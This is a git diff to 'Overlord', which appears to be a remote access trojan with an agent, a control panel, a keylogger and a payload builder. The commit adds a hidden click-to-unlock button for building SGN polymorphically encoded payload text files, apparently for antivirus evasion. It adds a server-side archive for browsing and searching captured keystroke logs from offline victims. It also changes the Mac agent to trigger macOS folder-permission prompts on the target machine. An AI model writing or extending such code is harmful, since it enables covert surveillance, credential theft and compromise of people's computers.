diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index 237b639..963a4c6 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -20,7 +20,6 @@ import ( "net/http" "net/url" "os" - "os/exec" "path/filepath" "runtime" "strings" @@ -151,7 +150,7 @@ func folderAccessHelp(err error) string { if !canRequestFolderAccess(err) { return "" } - return "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder." + return "macOS blocked this folder. Confirm the retry, approve the prompt on the Mac, then refresh if needed." } func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { @@ -171,14 +170,12 @@ func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID s path = absPath } - settingsURL := "x-apple.systempreferences:com.apple.preference.security?Privacy_FilesAndFolders" - if err := exec.CommandContext(ctx, "open", settingsURL).Run(); err != nil { - _ = exec.CommandContext(ctx, "open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Run() + if _, err := os.ReadDir(path); err != nil { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", CommandID: cmdID, OK: false, - Message: fmt.Sprintf("could not open macOS Privacy settings: %v", err), + Message: fmt.Sprintf("macOS still blocked folder access for %s: %v", path, err), }) } @@ -186,7 +183,7 @@ func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID s Type: "command_result", CommandID: cmdID, OK: true, - Message: fmt.Sprintf("opened macOS Privacy settings for folder access; ask the user to allow access for this app, then refresh %s", path), + Message: fmt.Sprintf("macOS allowed folder access for %s", path), }) } diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 79b2c65..c637df3 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -46,6 +46,7 @@ const platformInputs = document.querySelectorAll('input[name="platform"]'); let currentServerVersion = null; let currentUserRole = null; +let currentUsername = null; let showAllBuilds = false; async function loadServerVersion() { @@ -1232,7 +1233,9 @@ async function init() { const data = await res.json(); currentUserRole = data.role; + currentUsername = data.username || null; usernameDisplay.textContent = data.username; + loadSgnTxtUnlockState(); const roleBadges = { admin: 'Admin', @@ -1440,6 +1443,7 @@ form?.addEventListener("submit", async (e) => { shellcodeConsole: document.getElementById("shellcode-console")?.checked || false, useSgn: document.getElementById("sgn-mode")?.checked || false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, + outputSgnTxt: pendingSgnTxtBuild, uploadToFileShare: pendingUpload, }; @@ -1498,6 +1502,10 @@ async function startBuild(config) { buildUploadBtn.disabled = true; buildUploadBtn.innerHTML = ' Building...'; } + if (buildSgnTxtBtn) { + buildSgnTxtBtn.disabled = true; + setSgnTxtButtonState("Building TXT...", "fa-solid fa-spinner fa-spin"); + } buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; @@ -1558,7 +1566,12 @@ async function startBuild(config) { buildUploadBtn.disabled = false; buildUploadBtn.innerHTML = ' Build & Upload'; } + if (buildSgnTxtBtn) { + buildSgnTxtBtn.disabled = false; + updateSgnTxtLockState(); + } pendingUpload = false; + pendingSgnTxtBuild = false; } } @@ -1947,6 +1960,78 @@ let pendingUpdateAll = false; let pendingUpdateHideWindow = false; let pendingUpload = false; const buildUploadBtn = document.getElementById("build-upload-btn"); +let pendingSgnTxtBuild = false; +const buildSgnTxtBtn = document.getElementById("build-sgn-txt-btn"); +const buildSgnTxtLockbox = document.getElementById("build-sgn-txt-lockbox"); +const SGN_TXT_UNLOCK_CLICKS = 10; +let sgnTxtUnlockClicks = 0; +let sgnTxtUnlocked = false; + +function getSgnTxtUnlockStorageKey() { + const userPart = String(currentUsername || "unknown").trim().toLowerCase() || "unknown"; + return `overlord_sgn_txt_unlocked:${userPart}`; +} + +function loadSgnTxtUnlockState() { + try { + if (localStorage.getItem(getSgnTxtUnlockStorageKey()) === "true") { + sgnTxtUnlockClicks = SGN_TXT_UNLOCK_CLICKS; + sgnTxtUnlocked = true; + } + } catch {} + updateSgnTxtLockState(); +} + +function saveSgnTxtUnlockState() { + try { + localStorage.setItem(getSgnTxtUnlockStorageKey(), "true"); + } catch {} +} + +function setSgnTxtButtonState(label, iconClass) { + if (!buildSgnTxtBtn) return; + buildSgnTxtBtn.innerHTML = ""; + const icon = document.createElement("i"); + icon.className = iconClass; + const text = document.createElement("span"); + text.textContent = label; + buildSgnTxtBtn.appendChild(icon); + buildSgnTxtBtn.appendChild(text); +} + +function pulseSgnTxtLockbox() { + if (!buildSgnTxtLockbox) return; + buildSgnTxtLockbox.classList.remove("pulse"); + void buildSgnTxtLockbox.offsetWidth; + buildSgnTxtLockbox.classList.add("pulse"); +} + +function updateSgnTxtLockState() { + if (!buildSgnTxtBtn || !buildSgnTxtLockbox) return; + const progress = Math.min(1, Math.max(0, sgnTxtUnlockClicks / SGN_TXT_UNLOCK_CLICKS)); + const stageProgress = (start, end) => Math.min(1, Math.max(0, (progress - start) / (end - start))); + const crackProgress = Math.min(1, Math.sqrt(progress) * 1.18); + const midCrackProgress = Math.sqrt(stageProgress(0.18, 0.72)); + const lateCrackProgress = Math.sqrt(stageProgress(0.48, 0.95)); + buildSgnTxtLockbox.style.setProperty("--sgn-chain-brightness", String(Math.max(0.72, 1 - progress * 0.28))); + buildSgnTxtLockbox.style.setProperty("--sgn-chain-opacity", String(Math.max(0.48, 0.9 - progress * 0.42))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-opacity", String(Math.max(0, Math.min(1, crackProgress)))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-dash", String(Math.max(0, 1 - crackProgress))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-opacity", String(midCrackProgress * 0.9)); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-dash", String(Math.max(0, 1 - midCrackProgress))); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-opacity", String(lateCrackProgress * 0.95)); + buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-dash", String(Math.max(0, 1 - lateCrackProgress))); + buildSgnTxtLockbox.style.setProperty("--sgn-lock-tilt", `${Math.round(progress * 10)}deg`); + buildSgnTxtLockbox.classList.toggle("locked", !sgnTxtUnlocked); + buildSgnTxtLockbox.classList.toggle("unlocked", sgnTxtUnlocked); + if (sgnTxtUnlocked) { + setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines"); + return; + } + setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines"); +} + +updateSgnTxtLockState(); function showUpdateAllModal() { if (!updateAllModal) return; @@ -2056,6 +2141,37 @@ if (buildUploadBtn) { }); } +if (buildSgnTxtBtn) { + buildSgnTxtBtn.addEventListener("click", () => { + if (isBuilding) return; + const sgnEnabled = document.getElementById("sgn-mode")?.checked || false; + if (!sgnTxtUnlocked) { + sgnTxtUnlockClicks += 1; + if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) { + sgnTxtUnlocked = true; + saveSgnTxtUnlockState(); + updateSgnTxtLockState(); + if (window.showToast) window.showToast("SGN TXT build unlocked", "success"); + } else { + updateSgnTxtLockState(); + } + pulseSgnTxtLockbox(); + return; + } + if (!sgnEnabled) { + alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file."); + return; + } + const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); + if (platformCheckboxes.length === 0) { + alert("Please select at least one platform to build"); + return; + } + pendingSgnTxtBuild = true; + form.requestSubmit(); + }); +} + async function pushUpdateToAllClients(buildId, hideWindow) { addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js index 9e316b0..ab97deb 100644 --- a/Overlord-Server/public/assets/filebrowser.js +++ b/Overlord-Server/public/assets/filebrowser.js @@ -32,7 +32,7 @@ const pendingCommandWaiters = new Map(); const VIRTUALIZATION_THRESHOLD = 400; const VIRTUAL_ROW_HEIGHT = 58; const VIRTUAL_OVERSCAN = 8; -const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`; +const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v2`; const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths()); let directoryEntries = []; @@ -377,15 +377,9 @@ function isSameOrChildPath(path, root) { } function markMacPermissionAllowed(path) { - const normalized = normalizeMacPath(path); - if (!normalized || normalized === ".") return; - const macStylePath = normalized.startsWith("/Users/") || - normalized === "/Volumes" || - normalized.startsWith("/Volumes/") || - normalized === "/Network" || - normalized.startsWith("/Network/"); - if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return; - macPermissionAllowedPaths.add(normalized); + const risk = macProtectedLocationForPath(path); + if (!risk) return; + macPermissionAllowedPaths.add(risk.cachePath || risk.root || risk.path); persistMacPermissionAllowedPaths(); } @@ -397,9 +391,9 @@ function hasMacPermissionAllowedAncestor(path) { return false; } -function macPermissionRiskForPath(path) { +function macProtectedLocationForPath(path) { const normalized = normalizeMacPath(path); - if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) { + if (!normalized || normalized === ".") { return null; } @@ -438,6 +432,13 @@ function macPermissionRiskForPath(path) { return { ...match, path: normalized, cachePath }; } +function macPermissionRiskForPath(path) { + const risk = macProtectedLocationForPath(path); + if (!risk) return null; + if (hasMacPermissionAllowedAncestor(risk.path)) return null; + return risk; +} + function showMacPermissionWarning(risk, operation) { return new Promise((resolve) => { const modal = document.createElement("div"); @@ -448,15 +449,15 @@ function showMacPermissionWarning(risk, operation) {
-
macOS Permission May Appear
+
Confirm macOS Access Request

${escapeHtml(operation)} ${escapeHtml(risk.path)} may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.

-

Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.

+

After you confirm here, the agent will try to open the folder on the Mac so macOS can show its permission prompt there.

- +
`; @@ -490,10 +491,24 @@ async function confirmMacPermissionRisk(path, operation = "access") { notifyToast("Operation cancelled before macOS permission prompt", "info", 2500); return false; } - markMacPermissionAllowed(risk.cachePath || risk.root || risk.path); return true; } +function macPermissionLockedDirectory(entry) { + if (!entry || !entry.isDir) return null; + return macPermissionRiskForPath(entry.path); +} + +function renderMacPermissionBadge(risk) { + if (!risk) return ""; + return ` Needs permission`; +} + +function renderMacPermissionFolderIcon(risk) { + if (!risk) return null; + return ''; +} + function goHome() { listFiles(".", ws, { resetHistory: true }); } @@ -1291,11 +1306,11 @@ function isMacFolderAccessError(msg) { function renderFileListError(msg) { const canRequestAccess = isMacFolderAccessError(msg); - const helpText = msg.accessHelp || "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder."; + const helpText = msg.accessHelp || "macOS blocked this folder. Confirm the retry, approve the prompt on the Mac, then refresh if needed."; const actionHtml = canRequestAccess ? `
${size}
${modTime}
@@ -3103,9 +3117,17 @@ function applyClientInfo(osStr, userName) { function sidebarItem(icon, label, path, color) { const active = currentPath && (currentPath === path || currentPath.startsWith(path + "/") || currentPath.startsWith(path + "\\")); - return ``; } diff --git a/Overlord-Server/public/assets/keylogger.js b/Overlord-Server/public/assets/keylogger.js index 3de17c7..39ebd5c 100644 --- a/Overlord-Server/public/assets/keylogger.js +++ b/Overlord-Server/public/assets/keylogger.js @@ -49,6 +49,7 @@ let globalSearchCache = new Map(); let globalSearchAbortController = null; let clientOs = ""; // filled from the "ready" message let needsPermissionGate = false; // true for darwin/mac clients +let archiveMode = false; clientLabel.textContent = clientId; @@ -136,9 +137,16 @@ function handleMessage(msg) { switch (msg.type) { case "ready": + archiveMode = msg.clientOnline === false; clientOs = msg.clientOs || ""; needsPermissionGate = isMacOs(clientOs); console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate); + if (archiveMode) { + updateStatus("pill-offline", "Archive"); + showFileListPanel(); + loadArchiveList(); + return; + } if (needsPermissionGate) { showPermissionGate(); } else { @@ -171,7 +179,10 @@ function handleMessage(msg) { break; case "status": if (msg.status === "offline") { + archiveMode = true; updateStatus("pill-offline", "Client Offline"); + showFileListPanel(); + loadArchiveList(); } break; case "keylog_file_list": @@ -214,21 +225,61 @@ function handleMessage(msg) { } function requestFileList() { + if (archiveMode) { + loadArchiveList(); + return; + } send({ type: "keylog_list" }); } function requestFileContent(filename) { + if (archiveMode) { + loadArchiveContent(filename); + return; + } send({ type: "keylog_retrieve", filename }); } function requestClearAll() { + if (archiveMode) return; send({ type: "keylog_clear_all" }); } function requestDeleteFile(filename) { + if (archiveMode) return; send({ type: "keylog_delete", filename }); } +async function loadArchiveList() { + try { + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive`, { credentials: "include" }); + const data = await res.json().catch(() => ({})); + if (!res.ok) throw new Error(data.error || "Failed to load archive"); + displayFileList((data.files || []).map((file) => ({ ...file, archived: true }))); + } catch (err) { + console.error("Failed to load archived keylogs:", err); + fileList.innerHTML = ` +
+ +

Failed to load archived logs

+
+ `; + } +} + +async function loadArchiveContent(filename) { + try { + const params = new URLSearchParams({ filename }); + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" }); + const data = await res.json().catch(() => ({})); + if (!res.ok) throw new Error(data.error || "Failed to load archived file"); + displayFileContent(data.filename || filename, data.content || ""); + } catch (err) { + console.error("Failed to load archived keylog:", err); + window.showToast("Failed to load archived log", "error"); + } +} + function downloadLog(filename, content) { const decoded = rot13Decode(content || ""); const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" }); @@ -283,6 +334,12 @@ function displayFileList(files) {
+ ${file.archived ? ` + + + Archive + + ` : ""} + ${archiveMode ? "" : ` + `}
` @@ -560,6 +619,11 @@ async function performGlobalSearch(query) { } globalSearchAbortController = new AbortController(); + if (archiveMode) { + await performArchivedGlobalSearch(query); + return; + } + const files = Array.from(fileIndex.values()); const lowerQuery = query.toLowerCase(); const results = []; @@ -629,7 +693,51 @@ async function performGlobalSearch(query) { displayGlobalSearchResults(results, query); } +async function performArchivedGlobalSearch(query) { + globalSearchResults.innerHTML = ` +
+ +

Searching archived logs...

+
+ `; + globalSearchStats.classList.remove("hidden"); + globalSearchProgress.textContent = "Searching archive..."; + globalSearchCount.textContent = ""; + + try { + const params = new URLSearchParams({ q: query }); + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/search?${params.toString()}`, { credentials: "include" }); + const data = await res.json().catch(() => ({})); + if (!res.ok) throw new Error(data.error || "Search failed"); + displayGlobalSearchResults(data.results || [], query); + } catch (err) { + console.error("Archived search failed:", err); + globalSearchResults.innerHTML = ` +
+ +

Archived search failed

+
+ `; + globalSearchProgress.textContent = "Search failed"; + globalSearchCount.textContent = ""; + } +} + function loadFileContent(filename) { + if (archiveMode) { + return new Promise(async (resolve, reject) => { + try { + const params = new URLSearchParams({ filename }); + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" }); + const data = await res.json().catch(() => ({})); + if (!res.ok) throw new Error(data.error || "Failed to load archived file"); + resolve(rot13Decode(data.content || "")); + } catch (err) { + reject(err); + } + }); + } + return new Promise((resolve, reject) => { let resolved = false; const timeout = setTimeout(() => { @@ -749,10 +857,14 @@ requestPermissionBtn.addEventListener("click", () => { refreshBtn.addEventListener("click", () => { requestFileList(); - window.showToast("Refreshing file list...", "info"); + window.showToast(archiveMode ? "Refreshing archive..." : "Refreshing file list...", "info"); }); clearBtn.addEventListener("click", () => { + if (archiveMode) { + window.showToast("Archived logs are retained by server policy.", "info"); + return; + } if ( confirm( "Are you sure you want to clear all keylog files? This action cannot be undone." diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index cbdb611..122878c 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -371,8 +371,8 @@ function applyMenuSupportRules(clientId) { const keyloggerSupported = isWindows || platform === "mac"; setAvailability( keyloggerBtn, - isOnline && keyloggerSupported, - isOnline ? "Keylogger is not supported on this platform." : "Client is offline", + keyloggerSupported, + "Keylogger is not supported on this platform.", ); const winreBtn = menu.querySelector('[data-open="winre"]'); @@ -400,9 +400,14 @@ function applyMenuSupportRules(clientId) { setAvailability(silentExecBtn, isOnline, "Client is offline"); } - ["remote-access", "monitoring", "system"].forEach(groupId => { + ["remote-access", "system"].forEach(groupId => { setAvailability(menu.querySelector(`[data-group-toggle="${groupId}"]`), isOnline, "Client is offline"); }); + setAvailability( + menu.querySelector('[data-group-toggle="monitoring"]'), + isOnline || keyloggerSupported, + keyloggerSupported ? "" : "Client is offline", + ); ["ping", "reconnect", "disconnect", "uninstall"].forEach(action => { setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline"); diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js index 435a4cf..c53bb11 100644 --- a/Overlord-Server/public/assets/settings.js +++ b/Overlord-Server/public/assets/settings.js @@ -39,6 +39,14 @@ const prefDesktopNotificationsInput = document.getElementById("pref-desktop-noti const prefDesktopNotificationsHint = document.getElementById("pref-desktop-notifications-hint"); const prefRefreshSecondsInput = document.getElementById("pref-refresh-seconds"); +const inputArchiveUserForm = document.getElementById("input-archive-user-form"); +const inputArchiveMyEnabledInput = document.getElementById("input-archive-my-enabled"); +const inputArchiveAdminForm = document.getElementById("input-archive-admin-form"); +const inputArchiveGlobalEnabledInput = document.getElementById("input-archive-global-enabled"); +const inputArchiveRetentionDaysInput = document.getElementById("input-archive-retention-days"); +const inputArchiveMaxFileMbInput = document.getElementById("input-archive-max-file-mb"); +const inputArchivePollSecondsInput = document.getElementById("input-archive-poll-seconds"); + const myTelegramChatIdInput = document.getElementById("my-telegram-chat-id"); const saveMyTelegramBtn = document.getElementById("save-my-telegram"); @@ -216,6 +224,7 @@ async function renderPermissionsOverview() { "system:chat", "system:appearance", "system:thumbnails", + "system:input-archive", "system:build-limits", "system:export-import", "system:health", @@ -1236,6 +1245,81 @@ async function loadChatSettings() { } } +async function loadInputArchiveSettings() { + try { + const res = await fetch("/api/settings/input-archive", { credentials: "include" }); + const data = await res.json().catch(() => ({})); + if (!res.ok) return; + if (inputArchiveMyEnabledInput) inputArchiveMyEnabledInput.checked = !!data.myEnabled; + const cfg = data.inputArchive || {}; + if (inputArchiveGlobalEnabledInput) inputArchiveGlobalEnabledInput.checked = !!cfg.enabled; + if (inputArchiveRetentionDaysInput) inputArchiveRetentionDaysInput.value = cfg.retentionDays ?? 7; + if (inputArchiveMaxFileMbInput) inputArchiveMaxFileMbInput.value = Math.max(1, Math.round((Number(cfg.maxFileBytes) || 0) / 1024 / 1024)) || 5; + if (inputArchivePollSecondsInput) inputArchivePollSecondsInput.value = cfg.pollIntervalSeconds ?? 300; + } catch { + console.warn("Failed to load input archive settings"); + } +} + +async function saveInputArchivePreference(event) { + event.preventDefault(); + const res = await fetch("/api/settings/input-archive", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ myEnabled: !!inputArchiveMyEnabledInput?.checked }), + }); + const data = await res.json().catch(() => ({})); + if (!res.ok) { + showMessage(data.error || "Failed to save input archive preference.", "error"); + return; + } + showMessage("Input archive preference saved."); +} + +async function saveInputArchiveAdminSettings(event) { + event.preventDefault(); + if (!requireUiPermission("system:input-archive", "Input archive settings permission required.")) { + return; + } + + const retentionDays = Number(inputArchiveRetentionDaysInput?.value); + const maxFileMb = Number(inputArchiveMaxFileMbInput?.value); + const pollIntervalSeconds = Number(inputArchivePollSecondsInput?.value); + if (!Number.isFinite(retentionDays) || retentionDays < 1 || retentionDays > 365) { + showMessage("Archive retention must be 1-365 days.", "error"); + return; + } + if (!Number.isFinite(maxFileMb) || maxFileMb < 1 || maxFileMb > 50) { + showMessage("Max file size must be 1-50 MB.", "error"); + return; + } + if (!Number.isFinite(pollIntervalSeconds) || pollIntervalSeconds < 0 || pollIntervalSeconds > 86400) { + showMessage("Poll interval must be 0-86400 seconds.", "error"); + return; + } + + const res = await fetch("/api/settings/input-archive", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ + inputArchive: { + enabled: !!inputArchiveGlobalEnabledInput?.checked, + retentionDays, + maxFileBytes: Math.round(maxFileMb * 1024 * 1024), + pollIntervalSeconds: Math.round(pollIntervalSeconds), + }, + }), + }); + const data = await res.json().catch(() => ({})); + if (!res.ok) { + showMessage(data.error || "Failed to save input archive settings.", "error"); + return; + } + showMessage("Input archive settings saved."); +} + async function saveChatSettings(event) { event.preventDefault(); if (!requireUiPermission("system:chat", "Team chat settings permission required.")) { @@ -2308,6 +2392,7 @@ async function init() { await loadTlsSettings(); await loadAppearanceSettings(); await loadChatSettings(); + await loadInputArchiveSettings(); await loadBannedIps(); if (userHas("users:manage")) { @@ -2357,6 +2442,8 @@ async function init() { tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup); if (appearanceForm) appearanceForm.addEventListener("submit", saveAppearanceSettings); if (chatSettingsForm) chatSettingsForm.addEventListener("submit", saveChatSettings); + if (inputArchiveUserForm) inputArchiveUserForm.addEventListener("submit", saveInputArchivePreference); + if (inputArchiveAdminForm) inputArchiveAdminForm.addEventListener("submit", saveInputArchiveAdminSettings); if (exportSettingsBtn) exportSettingsBtn.addEventListener("click", exportSettings); if (importSettingsFile) importSettingsFile.addEventListener("change", importSettings); refreshBansBtn.addEventListener("click", loadBannedIps); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 0d9b582..79fd02b 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -37,6 +37,169 @@ .accordion-chevron.rotated { transform: rotate(-180deg); } + .sgn-txt-lockbox { + position: relative; + isolation: isolate; + --sgn-chain-brightness: 1; + --sgn-chain-opacity: 0.9; + --sgn-crack-opacity: 0; + --sgn-crack-dash: 1; + --sgn-crack-mid-opacity: 0; + --sgn-crack-mid-dash: 1; + --sgn-crack-late-opacity: 0; + --sgn-crack-late-dash: 1; + --sgn-lock-tilt: 0deg; + border-radius: 8px; + overflow: hidden; + } + .sgn-txt-lockbox::before, + .sgn-txt-lockbox::after { + content: ""; + position: absolute; + left: 3px; + top: 50%; + width: calc(100% - 6px); + height: 18px; + border-radius: 999px; + background: + radial-gradient(ellipse 11px 7px at 8px 50%, transparent 4.4px, rgba(148, 163, 184, 0.98) 4.8px 6.7px, transparent 7.1px), + radial-gradient(ellipse 11px 7px at 22px 50%, transparent 4.4px, rgba(148, 163, 184, 0.98) 4.8px 6.7px, transparent 7.1px); + background-size: 28px 18px; + background-repeat: repeat-x; + background-position: center; + box-shadow: none; + opacity: var(--sgn-chain-opacity); + pointer-events: none; + transform-origin: center; + transition: opacity 0.25s ease, filter 0.25s ease; + filter: brightness(var(--sgn-chain-brightness)); + z-index: 2; + } + .sgn-txt-lockbox::before { + transform: translateY(-50%) rotate(-8deg); + } + .sgn-txt-lockbox::after { + transform: translateY(-50%) rotate(8deg); + } + .sgn-txt-lockbox.unlocked::before { + opacity: 0; + transform: translateY(-50%) rotate(-8deg); + } + .sgn-txt-lockbox.unlocked::after { + opacity: 0; + transform: translateY(-50%) rotate(8deg); + } + .sgn-txt-cracks { + position: absolute; + inset: 2px 8px; + border-radius: 8px; + pointer-events: none; + opacity: var(--sgn-crack-opacity); + transition: opacity 0.18s ease; + z-index: 4; + } + .sgn-txt-cracks svg { + width: 100%; + height: 100%; + display: block; + overflow: visible; + } + .sgn-txt-cracks path { + fill: none; + stroke-linecap: round; + stroke-linejoin: round; + stroke-dasharray: 1; + stroke-dashoffset: var(--sgn-crack-dash); + transition: stroke-dashoffset 0.18s ease, opacity 0.18s ease; + } + .sgn-txt-cracks .crack-main { + stroke: rgba(248, 250, 252, 0.9); + stroke-width: 1.9; + filter: drop-shadow(0 0 4px rgba(248, 250, 252, 0.45)); + } + .sgn-txt-cracks .crack-branch { + stroke: rgba(244, 114, 182, 0.72); + stroke-width: 1.45; + opacity: calc(var(--sgn-crack-opacity) * 0.85); + } + .sgn-txt-cracks .crack-mid { + stroke: rgba(248, 250, 252, 0.76); + stroke-width: 1.25; + stroke-dashoffset: var(--sgn-crack-mid-dash); + opacity: var(--sgn-crack-mid-opacity); + } + .sgn-txt-cracks .crack-late { + stroke: rgba(244, 114, 182, 0.82); + stroke-width: 1.15; + stroke-dashoffset: var(--sgn-crack-late-dash); + opacity: var(--sgn-crack-late-opacity); + } + .sgn-txt-lock { + position: absolute; + left: 50%; + top: 50%; + width: 52px; + height: 52px; + display: inline-flex; + align-items: center; + justify-content: center; + font-size: 1.45rem; + border-radius: 999px; + border: none; + background: transparent; + color: rgb(203, 213, 225); + text-shadow: 0 2px 0 rgba(15, 23, 42, 0.8), 0 0 8px rgba(15, 23, 42, 0.65); + box-shadow: none; + transform: translate(-50%, -50%) rotate(var(--sgn-lock-tilt)); + pointer-events: none; + transition: opacity 0.25s ease, transform 0.25s ease; + z-index: 5; + } + .sgn-txt-lockbox.unlocked .sgn-txt-lock { + opacity: 0; + transform: translate(-50%, -50%) scale(0.65) rotate(18deg); + } + .sgn-txt-lockbox.locked #build-sgn-txt-btn { + filter: saturate(0.75); + } + .sgn-txt-lockbox.locked.pulse #build-sgn-txt-btn { + animation: sgnLockPulse 0.18s ease; + } + .sgn-txt-lockbox.locked.pulse::before { + animation: sgnChainPulseA 0.18s ease; + } + .sgn-txt-lockbox.locked.pulse::after { + animation: sgnChainPulseB 0.18s ease; + } + .sgn-txt-lockbox.locked.pulse .sgn-txt-lock { + animation: sgnLockIconPulse 0.18s ease; + } + .sgn-txt-lockbox.locked #build-sgn-txt-btn > * { + opacity: 0; + } + .sgn-txt-lockbox.unlocked .sgn-txt-cracks { + opacity: 0; + } + @keyframes sgnLockPulse { + 0%, 100% { transform: translateX(0); } + 25% { transform: translateX(-2px); } + 75% { transform: translateX(2px); } + } + @keyframes sgnChainPulseA { + 0%, 100% { transform: translateY(-50%) rotate(-8deg); } + 25% { transform: translate(-2px, -50%) rotate(-8deg); } + 75% { transform: translate(2px, -50%) rotate(-8deg); } + } + @keyframes sgnChainPulseB { + 0%, 100% { transform: translateY(-50%) rotate(8deg); } + 25% { transform: translate(2px, -50%) rotate(8deg); } + 75% { transform: translate(-2px, -50%) rotate(8deg); } + } + @keyframes sgnLockIconPulse { + 0%, 100% { transform: translate(-50%, -50%) rotate(var(--sgn-lock-tilt)); } + 25% { transform: translate(calc(-50% - 2px), -50%) rotate(var(--sgn-lock-tilt)); } + 75% { transform: translate(calc(-50% + 2px), -50%) rotate(var(--sgn-lock-tilt)); } + } @@ -716,6 +879,7 @@ + @@ -786,6 +950,34 @@ Build & Upload + diff --git a/Overlord-Server/public/filebrowser.html b/Overlord-Server/public/filebrowser.html index 1867686..e6624bc 100644 --- a/Overlord-Server/public/filebrowser.html +++ b/Overlord-Server/public/filebrowser.html @@ -1002,6 +1002,6 @@ - + diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index 499c4f2..e8ddf88 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -81,6 +81,7 @@ Account Active Sessions Dashboard Preferences + Input Archive Notification Delivery News & Updates @@ -96,6 +97,7 @@ Team Chat Registration Screenshot Thumbnails + Input Archive Admin Build Rate Limit Custom CSS Export / Import @@ -372,6 +374,33 @@ + +
+
+
+ +
+
+

Input Archive

+

Opt in to server-side retrieval for clients you can access.

+
+
+ +
+ + + +
+
+
@@ -411,7 +440,7 @@

Channel: @kunta

+ + +